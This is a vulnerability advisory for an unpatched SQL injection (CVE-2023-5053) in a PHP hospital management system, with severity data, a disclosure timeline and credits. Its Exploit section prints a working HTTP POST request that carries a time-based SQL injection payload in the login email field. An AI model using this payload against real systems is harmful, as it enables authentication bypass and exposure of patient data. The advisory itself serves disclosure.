SQL Injection in hospital-management-system-in-php 378c157 in index.php

Summary

NameSQL Injection in hospital-management-system-in-php 378c157 in index.php
Code name
ProductHospital Management System
Affected versionsVersion 378c157
StatePublic
Release date2023-09-28

Vulnerability

KindSQL injection
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSSv3.1 Base Score8.8
Exploit availableYes
CVE ID(s)

Description

Hospital management system version 378c157 allows to bypass authentication. This is possible because the application is vulnerable to SQLI.

Vulnerability

A sql injection (SQLI) vulnerability has been identified in Hospital management system. This allows bypassing authentication and access as any user.

Exploit

POST /hospital-management-system-php-mysql-master/index.php HTTP/1.1
Host: vulnerable.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Connection: close
Cookie: PHPSESSID=p77e9snm8g836b5lar3qb6l8ahj

lemail=test2@test.com'%2b(select*from(select(sleep(20)))a)%2b'&lpassword=1234

Evidence of exploitation

sqlmap

Our security policy

We have reserved the ID CVE-2023-5053 to refer to this issue from now on.

System Information

  • Version: hospital-management-system-in-php 378c157

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/projectworldsofficial/hospital-management-system-in-php/

Timeline

Time-lapse-logo

2023-09-15

Vulnerability discovered.

Time-lapse-logo

2023-09-15

Vendor contacted.

Time-lapse-logo

2023-09-28

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.